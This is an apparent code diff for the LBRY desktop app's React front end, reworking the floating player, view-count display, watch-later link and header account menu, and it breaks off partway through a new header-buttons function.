export const INLINE_PLAYER_WRAPPER_CLASS = 'inline-player__wrapper';
|
||||
@@ -248,10 +243,14 @@ export default function FileRenderFloating(props: Props) {
|
||||
}, [handleResize]);
|
||||
|
||||
useEffect(() => {
|
||||
// @if TARGET='app'
|
||||
setDesktopPlayStartTime(Date.now());
|
||||
// @endif
|
||||
|
||||
return () => {
|
||||
// @if TARGET='app'
|
||||
setDesktopPlayStartTime(undefined);
|
||||
// @endif
|
||||
};
|
||||
}, [uri]);
|
||||
|
||||
@@ -316,6 +315,7 @@ export default function FileRenderFloating(props: Props) {
|
||||
|
||||
function handleDragStop(e, ui) {
|
||||
if (wasDragging) {
|
||||
// e.stopPropagation();
|
||||
setWasDragging(false);
|
||||
}
|
||||
|
||||
@@ -344,7 +344,7 @@ export default function FileRenderFloating(props: Props) {
|
||||
'content__viewer--floating': isFloating,
|
||||
'content__viewer--inline': !isFloating,
|
||||
'content__viewer--secondary': isComment,
|
||||
'content__viewer--theater-mode': !isFloating && videoTheaterMode && playingUri?.uri === primaryUri,
|
||||
'content__viewer--theater-mode': !isFloating && videoTheaterMode,
|
||||
'content__viewer--disable-click': wasDragging,
|
||||
})}
|
||||
style={
|
||||
@@ -353,11 +353,8 @@ export default function FileRenderFloating(props: Props) {
|
||||
width: fileViewerRect.width,
|
||||
height: fileViewerRect.height,
|
||||
left: fileViewerRect.x,
|
||||
top:
|
||||
fileViewerRect.windowOffset +
|
||||
fileViewerRect.top -
|
||||
(isMobile ? HEADER_HEIGHT_MOBILE : HEADER_HEIGHT) -
|
||||
(IS_DESKTOP_MAC ? 24 : 0),
|
||||
// 80px is header height in scss/init/vars.scss
|
||||
top: fileViewerRect.windowOffset + fileViewerRect.top - 80 - (IS_DESKTOP_MAC ? 24 : 0),
|
||||
}
|
||||
: {}
|
||||
}
|
||||
|
||||
@@ -57,7 +57,7 @@ $transition-duration: 300ms;
|
||||
}
|
||||
|
||||
&.ff-responsive {
|
||||
max-width: 100%;
|
||||
width: 100%;
|
||||
|
||||
.ff-image,
|
||||
.ff-canvas {
|
||||
|
||||
@@ -1,16 +1,13 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { selectClaimIdForUri } from 'redux/selectors/claims';
|
||||
import { selectClaimForUri } from 'redux/selectors/claims';
|
||||
import { doFetchViewCount, selectViewCountForUri } from 'lbryinc';
|
||||
import { doAnalyticsView } from 'redux/actions/app';
|
||||
import FileViewCount from './view';
|
||||
|
||||
const select = (state, props) => {
|
||||
const claimId = selectClaimIdForUri(state, props.uri);
|
||||
return {
|
||||
claimId,
|
||||
viewCount: selectViewCountForUri(state, props.uri),
|
||||
};
|
||||
};
|
||||
const select = (state, props) => ({
|
||||
claim: selectClaimForUri(state, props.uri),
|
||||
viewCount: selectViewCountForUri(state, props.uri),
|
||||
});
|
||||
|
||||
const perform = (dispatch) => ({
|
||||
fetchViewCount: (claimId) => dispatch(doFetchViewCount(claimId)),
|
||||
|
||||
@@ -1,11 +1,9 @@
|
||||
// @flow
|
||||
import React from 'react';
|
||||
import HelpLink from 'component/common/help-link';
|
||||
import Tooltip from 'component/common/tooltip';
|
||||
import { toCompactNotation } from 'util/string';
|
||||
|
||||
type Props = {
|
||||
claimId: ?string, // this
|
||||
claim: ?StreamClaim,
|
||||
fetchViewCount: (string) => void,
|
||||
fetchingViewCount: boolean,
|
||||
uri: string,
|
||||
@@ -13,9 +11,8 @@ type Props = {
|
||||
};
|
||||
|
||||
function FileViewCount(props: Props) {
|
||||
const { claimId, uri, fetchViewCount, viewCount } = props; // claimId
|
||||
const countCompact = toCompactNotation(viewCount);
|
||||
const countFullResolution = Number(viewCount).toLocaleString();
|
||||
const { claim, uri, fetchViewCount, viewCount } = props;
|
||||
const claimId = claim && claim.claim_id;
|
||||
|
||||
React.useEffect(() => {
|
||||
if (claimId) {
|
||||
@@ -23,13 +20,13 @@ function FileViewCount(props: Props) {
|
||||
}
|
||||
}, [fetchViewCount, uri, claimId]);
|
||||
|
||||
const formattedViewCount = Number(viewCount).toLocaleString();
|
||||
|
||||
return (
|
||||
<Tooltip label={countFullResolution}>
|
||||
<span className="media__subtitle--centered">
|
||||
{viewCount !== 1 ? __('%view_count% views', { view_count: countCompact }) : __('1 view')}
|
||||
{<HelpLink href="https://lbry.com/faq/views" />}
|
||||
</span>
|
||||
</Tooltip>
|
||||
<span className="media__subtitle--centered">
|
||||
{viewCount !== 1 ? __('%view_count% views', { view_count: formattedViewCount }) : __('1 view')}
|
||||
{<HelpLink href="https://lbry.com/faq/views" />}
|
||||
</span>
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
@@ -2,7 +2,6 @@
|
||||
import React from 'react';
|
||||
import 'scss/component/_view_count.scss';
|
||||
import { useHistory } from 'react-router';
|
||||
import { toCompactNotation } from 'util/string';
|
||||
|
||||
type Props = {
|
||||
uri: string,
|
||||
@@ -17,7 +16,17 @@ export default function FileViewCountInline(props: Props) {
|
||||
const {
|
||||
location: { pathname },
|
||||
} = useHistory();
|
||||
const formattedViewCount = toCompactNotation(viewCount, lang);
|
||||
let formattedViewCount;
|
||||
|
||||
try {
|
||||
// SI notation that changes 1234 to 1.2K, look up Intl.NumberFormat() for docs
|
||||
formattedViewCount = Number(viewCount).toLocaleString(lang || 'en', {
|
||||
compactDisplay: 'short',
|
||||
notation: 'compact',
|
||||
});
|
||||
} catch (err) {
|
||||
formattedViewCount = Number(viewCount).toLocaleString();
|
||||
}
|
||||
|
||||
// Limit the view-count visibility to Channel Pages for now. I believe we'll
|
||||
// eventually show it everywhere, so this band-aid would be the easiest to
|
||||
|
||||
@@ -1,15 +1,18 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { doCollectionEdit } from 'redux/actions/collections';
|
||||
import { makeSelectCollectionForIdHasClaimUrl } from 'redux/selectors/collections';
|
||||
import { makeSelectClaimForUri } from 'redux/selectors/claims';
|
||||
import * as COLLECTIONS_CONSTS from 'constants/collections';
|
||||
import FileWatchLaterLink from './view';
|
||||
import { doToast } from 'redux/actions/notifications';
|
||||
|
||||
const select = (state, props) => {
|
||||
const { uri } = props;
|
||||
const claim = makeSelectClaimForUri(props.uri)(state);
|
||||
const permanentUri = claim && claim.permanent_url;
|
||||
|
||||
return {
|
||||
hasClaimInWatchLater: makeSelectCollectionForIdHasClaimUrl(COLLECTIONS_CONSTS.WATCH_LATER_ID, uri)(state),
|
||||
claim,
|
||||
hasClaimInWatchLater: makeSelectCollectionForIdHasClaimUrl(COLLECTIONS_CONSTS.WATCH_LATER_ID, permanentUri)(state),
|
||||
};
|
||||
};
|
||||
|
||||
|
||||
@@ -7,6 +7,7 @@ import * as COLLECTIONS_CONSTS from 'constants/collections';
|
||||
|
||||
type Props = {
|
||||
uri: string,
|
||||
claim: StreamClaim,
|
||||
focusable: boolean,
|
||||
hasClaimInWatchLater: boolean,
|
||||
doToast: ({ message: string }) => void,
|
||||
@@ -14,10 +15,14 @@ type Props = {
|
||||
};
|
||||
|
||||
function FileWatchLaterLink(props: Props) {
|
||||
const { uri, hasClaimInWatchLater, doToast, doCollectionEdit, focusable = true } = props;
|
||||
const { claim, hasClaimInWatchLater, doToast, doCollectionEdit, focusable = true } = props;
|
||||
const buttonRef = useRef();
|
||||
let isHovering = useHover(buttonRef);
|
||||
|
||||
if (!claim) {
|
||||
return null;
|
||||
}
|
||||
|
||||
function handleWatchLater(e) {
|
||||
e.preventDefault();
|
||||
doToast({
|
||||
@@ -26,7 +31,7 @@ function FileWatchLaterLink(props: Props) {
|
||||
linkTarget: !hasClaimInWatchLater && '/list/watchlater',
|
||||
});
|
||||
doCollectionEdit(COLLECTIONS_CONSTS.WATCH_LATER_ID, {
|
||||
uris: [uri],
|
||||
claims: [claim],
|
||||
remove: hasClaimInWatchLater,
|
||||
type: 'playlist',
|
||||
});
|
||||
|
||||
@@ -1,31 +1,42 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { doClearEmailEntry, doClearPasswordEntry } from 'redux/actions/user';
|
||||
import { doSignOut } from 'redux/actions/app';
|
||||
import { formatCredits } from 'util/format-credits';
|
||||
import { selectClientSetting } from 'redux/selectors/settings';
|
||||
import { selectGetSyncErrorMessage } from 'redux/selectors/sync';
|
||||
import { selectHasNavigated } from 'redux/selectors/app';
|
||||
import { selectTotalBalance, selectBalance } from 'redux/selectors/wallet';
|
||||
import { selectUserVerifiedEmail, selectEmailToVerify, selectUser } from 'redux/selectors/user';
|
||||
import * as MODALS from 'constants/modal_types';
|
||||
import * as SETTINGS from 'constants/settings';
|
||||
import { connect } from 'react-redux';
|
||||
import { selectTotalBalance, selectBalance } from 'redux/selectors/wallet';
|
||||
import { formatCredits } from 'util/format-credits';
|
||||
import { selectGetSyncErrorMessage } from 'redux/selectors/sync';
|
||||
import { selectUserVerifiedEmail, selectUserEmail, selectEmailToVerify, selectUser } from 'redux/selectors/user';
|
||||
import { doClearEmailEntry, doClearPasswordEntry } from 'redux/actions/user';
|
||||
import { doSetClientSetting } from 'redux/actions/settings';
|
||||
import { doSignOut, doOpenModal } from 'redux/actions/app';
|
||||
import { makeSelectClientSetting, selectLanguage } from 'redux/selectors/settings';
|
||||
import { selectHasNavigated, selectActiveChannelClaim } from 'redux/selectors/app';
|
||||
import Header from './view';
|
||||
import { selectMyChannelClaims } from 'redux/selectors/claims';
|
||||
|
||||
const select = (state) => ({
|
||||
authenticated: selectUserVerifiedEmail(state),
|
||||
language: selectLanguage(state),
|
||||
balance: selectBalance(state),
|
||||
roundedSpendableBalance: formatCredits(selectBalance(state), 2, true),
|
||||
roundedBalance: formatCredits(selectTotalBalance(state), 2, true),
|
||||
currentTheme: makeSelectClientSetting(SETTINGS.THEME)(state),
|
||||
automaticDarkModeEnabled: makeSelectClientSetting(SETTINGS.AUTOMATIC_DARK_MODE_ENABLED)(state),
|
||||
hideBalance: makeSelectClientSetting(SETTINGS.HIDE_BALANCE)(state),
|
||||
authenticated: selectUserVerifiedEmail(state),
|
||||
email: selectUserEmail(state),
|
||||
syncError: selectGetSyncErrorMessage(state),
|
||||
emailToVerify: selectEmailToVerify(state),
|
||||
hasNavigated: selectHasNavigated(state),
|
||||
hideBalance: selectClientSetting(state, SETTINGS.HIDE_BALANCE),
|
||||
roundedBalance: formatCredits(selectTotalBalance(state), 2, true),
|
||||
roundedSpendableBalance: formatCredits(selectBalance(state), 2, true),
|
||||
syncError: selectGetSyncErrorMessage(state),
|
||||
user: selectUser(state),
|
||||
activeChannelClaim: selectActiveChannelClaim(state),
|
||||
myChannels: selectMyChannelClaims(state),
|
||||
});
|
||||
|
||||
const perform = (dispatch) => ({
|
||||
setClientSetting: (key, value, push) => dispatch(doSetClientSetting(key, value, push)),
|
||||
signOut: () => dispatch(doSignOut()),
|
||||
openSignOutModal: () => dispatch(doOpenModal(MODALS.SIGN_OUT)),
|
||||
clearEmailEntry: () => dispatch(doClearEmailEntry()),
|
||||
clearPasswordEntry: () => dispatch(doClearPasswordEntry()),
|
||||
signOut: () => dispatch(doSignOut()),
|
||||
});
|
||||
|
||||
export default connect(select, perform)(Header);
|
||||
+349
-179
@@ -1,25 +1,47 @@
|
||||
// @flow
|
||||
// import 'scss/component/_header.scss'; // ody codesplits this. no.
|
||||
|
||||
import { useIsMobile } from 'effects/use-screensize';
|
||||
import { withRouter } from 'react-router';
|
||||
import { ENABLE_UI_NOTIFICATIONS } from 'config';
|
||||
import * as ICONS from 'constants/icons';
|
||||
import * as SETTINGS from 'constants/settings';
|
||||
import * as PAGES from 'constants/pages';
|
||||
import Button from 'component/button';
|
||||
import classnames from 'classnames';
|
||||
import HeaderMenuButtons from 'component/headerMenuButtons';
|
||||
import HeaderProfileMenuButton from 'component/headerProfileMenuButton';
|
||||
import Logo from 'component/logo';
|
||||
import NotificationBubble from 'component/notificationBubble';
|
||||
import React from 'react';
|
||||
import SkipNavigationButton from 'component/skipNavigationButton';
|
||||
import Tooltip from 'component/common/tooltip';
|
||||
import { withRouter } from 'react-router';
|
||||
import classnames from 'classnames';
|
||||
import Button from 'component/button';
|
||||
import WunderBar from 'component/wunderbar';
|
||||
import Icon from 'component/common/icon';
|
||||
import { Menu, MenuList, MenuButton, MenuItem } from '@reach/menu-button';
|
||||
import NavigationButton from 'component/navigationButton';
|
||||
import { useIsMobile } from 'effects/use-screensize';
|
||||
import NotificationBubble from 'component/notificationBubble';
|
||||
import NotificationHeaderButton from 'component/notificationHeaderButton';
|
||||
import ChannelThumbnail from 'component/channelThumbnail';
|
||||
import SkipNavigationButton from 'component/skipNavigationButton';
|
||||
import Logo from 'component/logo';
|
||||
import * as remote from '@electron/remote';
|
||||
import { IS_MAC } from 'component/app/view';
|
||||
import NavigationButton from 'component/navigationButton';
|
||||
|
||||
type Props = {
|
||||
user: ?User,
|
||||
balance: string,
|
||||
balance: number,
|
||||
roundedBalance: string,
|
||||
roundedSpendableBalance: string,
|
||||
history: {
|
||||
entities: {}[],
|
||||
goBack: () => void,
|
||||
goForward: () => void,
|
||||
index: number,
|
||||
length: number,
|
||||
location: { pathname: string },
|
||||
push: (string) => void,
|
||||
replace: (string) => void,
|
||||
},
|
||||
currentTheme: string,
|
||||
automaticDarkModeEnabled: boolean,
|
||||
setClientSetting: (string, boolean | string, ?boolean) => void,
|
||||
hideBalance: boolean,
|
||||
email: ?string,
|
||||
authenticated: boolean,
|
||||
authHeader: boolean,
|
||||
backout: {
|
||||
backLabel?: string,
|
||||
@@ -27,143 +49,147 @@ type Props = {
|
||||
title: string,
|
||||
simpleTitle: string, // Just use the same value as `title` if `title` is already short (~< 10 chars), unless you have a better idea for title overlfow on mobile
|
||||
},
|
||||
balance: number,
|
||||
emailToVerify?: string,
|
||||
hasNavigated: boolean,
|
||||
hideBalance: boolean,
|
||||
hideCancel: boolean,
|
||||
history: {
|
||||
goBack: () => void,
|
||||
location: { pathname: string },
|
||||
push: (string) => void,
|
||||
replace: (string) => void,
|
||||
},
|
||||
isAbsoluteSideNavHidden: boolean,
|
||||
roundedBalance: string,
|
||||
roundedSpendableBalance: string,
|
||||
sidebarOpen: boolean,
|
||||
syncError: ?string,
|
||||
emailToVerify?: string,
|
||||
signOut: () => void,
|
||||
openSignOutModal: () => void,
|
||||
clearEmailEntry: () => void,
|
||||
clearPasswordEntry: () => void,
|
||||
hasNavigated: boolean,
|
||||
sidebarOpen: boolean,
|
||||
setSidebarOpen: (boolean) => void,
|
||||
signOut: () => void,
|
||||
isAbsoluteSideNavHidden: boolean,
|
||||
hideCancel: boolean,
|
||||
activeChannelClaim: ?ChannelClaim,
|
||||
myChannels: ?Array<ChannelClaim>,
|
||||
};
|
||||
|
||||
const Header = (props: Props) => {
|
||||
const {
|
||||
authHeader,
|
||||
backout,
|
||||
balance,
|
||||
emailToVerify,
|
||||
hideBalance,
|
||||
hideCancel,
|
||||
history,
|
||||
isAbsoluteSideNavHidden,
|
||||
roundedBalance,
|
||||
roundedSpendableBalance,
|
||||
sidebarOpen,
|
||||
history,
|
||||
setClientSetting,
|
||||
currentTheme,
|
||||
automaticDarkModeEnabled,
|
||||
hideBalance,
|
||||
email,
|
||||
authenticated,
|
||||
authHeader,
|
||||
signOut,
|
||||
syncError,
|
||||
openSignOutModal,
|
||||
clearEmailEntry,
|
||||
clearPasswordEntry,
|
||||
emailToVerify,
|
||||
backout,
|
||||
sidebarOpen,
|
||||
setSidebarOpen,
|
||||
signOut,
|
||||
isAbsoluteSideNavHidden,
|
||||
hideCancel,
|
||||
user,
|
||||
activeChannelClaim,
|
||||
myChannels,
|
||||
} = props;
|
||||
|
||||
const {
|
||||
location: { pathname },
|
||||
goBack,
|
||||
push,
|
||||
} = history;
|
||||
|
||||
const isMobile = useIsMobile();
|
||||
|
||||
// on the verify page don't let anyone escape other than by closing the tab to keep session data consistent
|
||||
const isVerifyPage = pathname.includes(PAGES.AUTH_VERIFY);
|
||||
const isSignUpPage = pathname.includes(PAGES.AUTH);
|
||||
const isSignInPage = pathname.includes(PAGES.AUTH_SIGNIN);
|
||||
const isPwdResetPage = pathname.includes(PAGES.AUTH_PASSWORD_RESET);
|
||||
|
||||
// For pages that allow for "backing out", shows a backout option instead of the Home logo
|
||||
const canBackout = Boolean(backout);
|
||||
const isVerifyPage = history.location.pathname.includes(PAGES.AUTH_VERIFY);
|
||||
const isSignUpPage = history.location.pathname.includes(PAGES.AUTH);
|
||||
const isSignInPage = history.location.pathname.includes(PAGES.AUTH_SIGNIN);
|
||||
const isPwdResetPage = history.location.pathname.includes(PAGES.AUTH_PASSWORD_RESET);
|
||||
const hasBackout = Boolean(backout);
|
||||
const { backLabel, backNavDefault, title: backTitle, simpleTitle: simpleBackTitle } = backout || {};
|
||||
const notificationsEnabled = ENABLE_UI_NOTIFICATIONS || (user && user.experimental_ui);
|
||||
const activeChannelUrl = activeChannelClaim && activeChannelClaim.permanent_url;
|
||||
const hasChannels = myChannels && myChannels.length > 0;
|
||||
|
||||
// Sign out if they click the "x" when they are on the password prompt
|
||||
const authHeaderAction = syncError && { onClick: signOut };
|
||||
const homeButtonNavigationProps = (isVerifyPage && {}) || (authHeader && authHeaderAction) || { navigate: '/' };
|
||||
const sidebarLabel = sidebarOpen
|
||||
? __('Close sidebar - hide channels you are following.')
|
||||
: __('Expand sidebar - view channels you are following.');
|
||||
const authHeaderAction = syncError ? { onClick: signOut } : { navigate: '/' };
|
||||
const homeButtonNavigationProps = isVerifyPage ? {} : authHeader ? authHeaderAction : { navigate: '/' };
|
||||
const closeButtonNavigationProps = {
|
||||
onClick: () => {
|
||||
clearEmailEntry();
|
||||
clearPasswordEntry();
|
||||
|
||||
const onBackout = React.useCallback(
|
||||
(e: any) => {
|
||||
const { hasNavigated } = props;
|
||||
const { replace } = history;
|
||||
if (syncError) {
|
||||
signOut();
|
||||
}
|
||||
|
||||
window.removeEventListener('popstate', onBackout);
|
||||
|
||||
if (e.type !== 'popstate') {
|
||||
// if not initiated by pop (back button)
|
||||
if (hasNavigated && !backNavDefault) {
|
||||
goBack();
|
||||
} else {
|
||||
replace(backNavDefault || `/`);
|
||||
}
|
||||
if (isSignInPage && !emailToVerify) {
|
||||
history.goBack();
|
||||
} else if (isSignUpPage) {
|
||||
history.goBack();
|
||||
} else if (isPwdResetPage) {
|
||||
history.goBack();
|
||||
} else {
|
||||
history.push('/');
|
||||
}
|
||||
},
|
||||
[backNavDefault, goBack, history, props]
|
||||
);
|
||||
};
|
||||
|
||||
function onBackout(e) {
|
||||
const { history, hasNavigated } = props;
|
||||
const { goBack, replace } = history;
|
||||
|
||||
window.removeEventListener('popstate', onBackout);
|
||||
|
||||
if (e.type !== 'popstate') {
|
||||
// if not initiated by pop (back button)
|
||||
if (hasNavigated && !backNavDefault) {
|
||||
goBack();
|
||||
} else {
|
||||
replace(backNavDefault || `/`);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
React.useEffect(() => {
|
||||
if (canBackout) {
|
||||
if (hasBackout) {
|
||||
window.addEventListener('popstate', onBackout);
|
||||
return () => window.removeEventListener('popstate', onBackout);
|
||||
}
|
||||
}, [canBackout, onBackout]);
|
||||
}, [hasBackout]);
|
||||
|
||||
const userButtons = (hideWallet?: boolean, hideProfile?: boolean) => (
|
||||
<div className="header__menu--right">
|
||||
<Tooltip
|
||||
title={
|
||||
balance > 0
|
||||
? __('Immediately spendable: %spendable_balance%', { spendable_balance: roundedSpendableBalance })
|
||||
: __('Your Wallet')
|
||||
}
|
||||
>
|
||||
<div>
|
||||
{hideBalance ? (
|
||||
<Button
|
||||
navigate={`/$/${PAGES.WALLET}`}
|
||||
className="header__navigationItem--icon header__navigationItem--balance"
|
||||
label={!(hideBalance || Number(roundedBalance) === 0) && roundedBalance}
|
||||
icon={ICONS.WALLET2}
|
||||
iconSize={18}
|
||||
onDoubleClick={(e) => {
|
||||
e.stopPropagation();
|
||||
}}
|
||||
/>
|
||||
) : (
|
||||
<Button
|
||||
navigate={`/$/${PAGES.WALLET}`}
|
||||
className="button--file-action header__navigationItem--balance"
|
||||
label={hideBalance || Number(roundedBalance) === 0 ? __('Your Wallet') : roundedBalance}
|
||||
icon={ICONS.LBC}
|
||||
onDoubleClick={(e) => {
|
||||
e.stopPropagation();
|
||||
}}
|
||||
/>
|
||||
)}
|
||||
</div>
|
||||
</Tooltip>
|
||||
function handleThemeToggle() {
|
||||
if (automaticDarkModeEnabled) {
|
||||
setClientSetting(SETTINGS.AUTOMATIC_DARK_MODE_ENABLED, false);
|
||||
}
|
||||
|
||||
<HeaderProfileMenuButton />
|
||||
</div>
|
||||
if (currentTheme === 'dark') {
|
||||
setClientSetting(SETTINGS.THEME, 'light', true);
|
||||
} else {
|
||||
setClientSetting(SETTINGS.THEME, 'dark', true);
|
||||
}
|
||||
}
|
||||
|
||||
type BalanceButtonProps = { className: string };
|
||||
const BalanceButton = (balanceButtonProps: BalanceButtonProps) => (
|
||||
<Button
|
||||
title={
|
||||
balance > 0
|
||||
? __('Immediately spendable: %spendable_balance%', { spendable_balance: roundedSpendableBalance })
|
||||
: __('Your Wallet')
|
||||
}
|
||||
navigate={`/$/${PAGES.WALLET}`}
|
||||
className={classnames(balanceButtonProps.className, 'header__navigation-item--balance')}
|
||||
label={hideBalance || Number(roundedBalance) === 0 ? __('Your Wallet') : roundedBalance}
|
||||
icon={ICONS.LBC}
|
||||
// @if TARGET='app'
|
||||
onDoubleClick={(e) => {
|
||||
e.stopPropagation();
|
||||
}}
|
||||
// @endif
|
||||
/>
|
||||
);
|
||||
|
||||
return (
|
||||
<header
|
||||
className={classnames('header', {
|
||||
'header--minimal': authHeader,
|
||||
// @if TARGET='app'
|
||||
'header--mac': IS_MAC,
|
||||
// @endif
|
||||
})}
|
||||
// @if TARGET='app'
|
||||
onDoubleClick={(e) => {
|
||||
@@ -171,88 +197,159 @@ const Header = (props: Props) => {
|
||||
}}
|
||||
// @endif
|
||||
>
|
||||
<div className="card__actions--between header__contents">
|
||||
{!authHeader && canBackout ? (
|
||||
<>
|
||||
<div className="header__menu--left">
|
||||
<Button onClick={onBackout} button="link" label={backLabel || __('Cancel')} icon={ICONS.ARROW_LEFT} />
|
||||
</div>
|
||||
{backTitle && <h1 className="header__authTitle">{(isMobile && simpleBackTitle) || backTitle}</h1>}
|
||||
{userButtons(false, isMobile)}
|
||||
</>
|
||||
<div className="header__contents">
|
||||
{!authHeader && backout ? (
|
||||
<div className="card__actions--between">
|
||||
<Button
|
||||
onClick={onBackout}
|
||||
button="link"
|
||||
label={(backLabel && backLabel) || __('Cancel')}
|
||||
icon={ICONS.ARROW_LEFT}
|
||||
/>
|
||||
{backTitle && <h1 className="header__auth-title">{isMobile ? simpleBackTitle || backTitle : backTitle}</h1>}
|
||||
<BalanceButton className="header__navigation-item menu__title" />
|
||||
</div>
|
||||
) : (
|
||||
<>
|
||||
<div className="header__navigation">
|
||||
<div className="header__menu--left">
|
||||
<SkipNavigationButton />
|
||||
{!authHeader && (
|
||||
<span style={{ position: 'relative' }}>
|
||||
<Button
|
||||
aria-label={sidebarLabel}
|
||||
className="header__navigationItem--icon button-rotate"
|
||||
icon={ICONS.MENU}
|
||||
aria-expanded={sidebarOpen}
|
||||
onClick={() => setSidebarOpen(!sidebarOpen)}
|
||||
>
|
||||
{isAbsoluteSideNavHidden && isMobile && <NotificationBubble />}
|
||||
</Button>
|
||||
</span>
|
||||
)}
|
||||
<Button
|
||||
aria-label={__('Home')}
|
||||
className="header__navigationItem--logo"
|
||||
onClick={() => {
|
||||
// here use state.router.location.pathname
|
||||
if (history.location.pathname === '/') window.location.reload();
|
||||
}}
|
||||
onDoubleClick={(e) => {
|
||||
e.stopPropagation();
|
||||
}}
|
||||
{...homeButtonNavigationProps}
|
||||
>
|
||||
<Logo />
|
||||
</Button>
|
||||
</div>
|
||||
|
||||
<SkipNavigationButton />
|
||||
{!authHeader && (
|
||||
<span style={{ position: 'relative' }}>
|
||||
<Button
|
||||
aria-label={
|
||||
sidebarOpen
|
||||
? __('Close sidebar - hide channels you are following.')
|
||||
: __('Expand sidebar - view channels you are following.')
|
||||
}
|
||||
className="header__navigation-item menu__title header__navigation-item--icon"
|
||||
icon={ICONS.MENU}
|
||||
aria-expanded={sidebarOpen}
|
||||
onClick={() => setSidebarOpen(!sidebarOpen)}
|
||||
>
|
||||
{isAbsoluteSideNavHidden && isMobile && notificationsEnabled && <NotificationBubble />}
|
||||
</Button>
|
||||
</span>
|
||||
)}
|
||||
<Button
|
||||
aria-label={__('Home')}
|
||||
className="header__navigation-item header__navigation-item--lbry"
|
||||
onClick={() => {
|
||||
// here use state.router.location.pathname
|
||||
if (history.location.pathname === '/') window.location.reload();
|
||||
}}
|
||||
// @if TARGET='app'
|
||||
onDoubleClick={(e) => {
|
||||
e.stopPropagation();
|
||||
}}
|
||||
// @endif
|
||||
{...homeButtonNavigationProps}
|
||||
>
|
||||
<Logo />
|
||||
</Button>
|
||||
{!authHeader && (
|
||||
<div className="header__center">
|
||||
{/* @if TARGET='app' */}
|
||||
{!authHeader && (
|
||||
<div className="header__buttons">
|
||||
<NavigationButton isBackward history={history} />
|
||||
<NavigationButton isBackward={false} history={history} />
|
||||
</div>
|
||||
)}
|
||||
<WunderBar />
|
||||
<HeaderMenuButtons />
|
||||
{/* @endif */}
|
||||
|
||||
{!authHeader && <WunderBar />}
|
||||
|
||||
<HeaderMenuButtons
|
||||
authenticated={authenticated}
|
||||
notificationsEnabled={notificationsEnabled}
|
||||
history={history}
|
||||
handleThemeToggle={handleThemeToggle}
|
||||
currentTheme={currentTheme}
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{!authHeader && !canBackout
|
||||
? userButtons(isMobile)
|
||||
: !isVerifyPage &&
|
||||
!hideCancel && (
|
||||
<div className="header__menu--right">
|
||||
<Button
|
||||
title={__('Go Back')}
|
||||
button="alt"
|
||||
// className="button--header-close"
|
||||
icon={ICONS.REMOVE}
|
||||
onClick={() => {
|
||||
clearEmailEntry();
|
||||
clearPasswordEntry();
|
||||
|
||||
if (syncError) signOut();
|
||||
|
||||
if ((isSignInPage && !emailToVerify) || isSignUpPage || isPwdResetPage) {
|
||||
goBack();
|
||||
} else {
|
||||
push('/');
|
||||
}
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{!authHeader && !backout ? (
|
||||
<div className={classnames('header__menu', 'header__menu--with-balance')}>
|
||||
<BalanceButton className="header__navigation-item menu__title mobile-hidden" />
|
||||
<Menu>
|
||||
<MenuButton
|
||||
aria-label={__('Your account')}
|
||||
title={__('Your account')}
|
||||
className={classnames('header__navigation-item', {
|
||||
'menu__title header__navigation-item--icon': !activeChannelUrl,
|
||||
'header__navigation-item--profile-pic': activeChannelUrl,
|
||||
})}
|
||||
// @if TARGET='app'
|
||||
onDoubleClick={(e) => {
|
||||
e.stopPropagation();
|
||||
}}
|
||||
// @endif
|
||||
>
|
||||
{activeChannelUrl ? (
|
||||
<ChannelThumbnail uri={activeChannelUrl} small noLazyLoad />
|
||||
) : (
|
||||
<Icon size={18} icon={ICONS.ACCOUNT} aria-hidden />
|
||||
)}
|
||||
</MenuButton>
|
||||
<MenuList className="menu__list--header">
|
||||
<MenuItem className="menu__link" onSelect={() => history.push(`/$/${PAGES.UPLOADS}`)}>
|
||||
<Icon aria-hidden icon={ICONS.PUBLISH} />
|
||||
{__('Uploads')}
|
||||
</MenuItem>
|
||||
<MenuItem className="menu__link" onSelect={() => history.push(`/$/${PAGES.CHANNELS}`)}>
|
||||
<Icon aria-hidden icon={ICONS.CHANNEL} />
|
||||
{__('Channels')}
|
||||
</MenuItem>
|
||||
{hasChannels && authenticated && (
|
||||
<MenuItem className="menu__link" onSelect={() => history.push(`/$/${PAGES.CREATOR_DASHBOARD}`)}>
|
||||
<Icon aria-hidden icon={ICONS.ANALYTICS} />
|
||||
{__('Creator Analytics')}
|
||||
</MenuItem>
|
||||
)}
|
||||
{authenticated ? (
|
||||
<MenuItem onSelect={openSignOutModal}>
|
||||
<div className="menu__link">
|
||||
<Icon aria-hidden icon={ICONS.SIGN_OUT} />
|
||||
{__('Sign Out')}
|
||||
</div>
|
||||
<span className="menu__link-help">{email}</span>
|
||||
</MenuItem>
|
||||
) : (
|
||||
<>
|
||||
<MenuItem className="menu__link" onSelect={() => history.push(`/$/${PAGES.AUTH_SIGNIN}`)}>
|
||||
<Icon aria-hidden icon={ICONS.SIGN_IN} />
|
||||
{__('Cloud Connect')}
|
||||
</MenuItem>
|
||||
</>
|
||||
)}
|
||||
</MenuList>
|
||||
</Menu>
|
||||
</div>
|
||||
) : (
|
||||
!isVerifyPage &&
|
||||
!hideCancel && (
|
||||
<div className="header__menu">
|
||||
{/* Add an empty span here so we can use the same style as above */}
|
||||
{/* This pushes the close button to the right side */}
|
||||
<span />
|
||||
|
||||
<Button
|
||||
title={__('Go Back')}
|
||||
button="alt"
|
||||
// className="button--header-close"
|
||||
icon={ICONS.REMOVE}
|
||||
{...closeButtonNavigationProps}
|
||||
// @if TARGET='app'
|
||||
onDoubleClick={(e) => {
|
||||
e.stopPropagation();
|
||||
}}
|
||||
// @endif
|
||||
/>
|
||||
</div>
|
||||
)
|
||||
)}
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
@@ -260,4 +357,77 @@ const Header = (props: Props) => {
|
||||
);
|
||||
};
|
||||
|
||||
type HeaderMenuButtonProps = {
|
||||
authenticated: boolean,
|
||||
notificationsEnabled: boolean,
|
||||
history: { push: (string) => void },
|
||||
handleThemeToggle: (string) => void,
|
||||
currentTheme: string,
|
||||
};
|
||||
|
||||
function HeaderMenuButtons(props: HeaderMenuButtonProps) {
|
||||
const { notificationsEnabled, history, handleThemeToggle, currentTheme } = props;
|
||||
|
||||
return (
|
||||
<div className="header__buttons">
|
||||
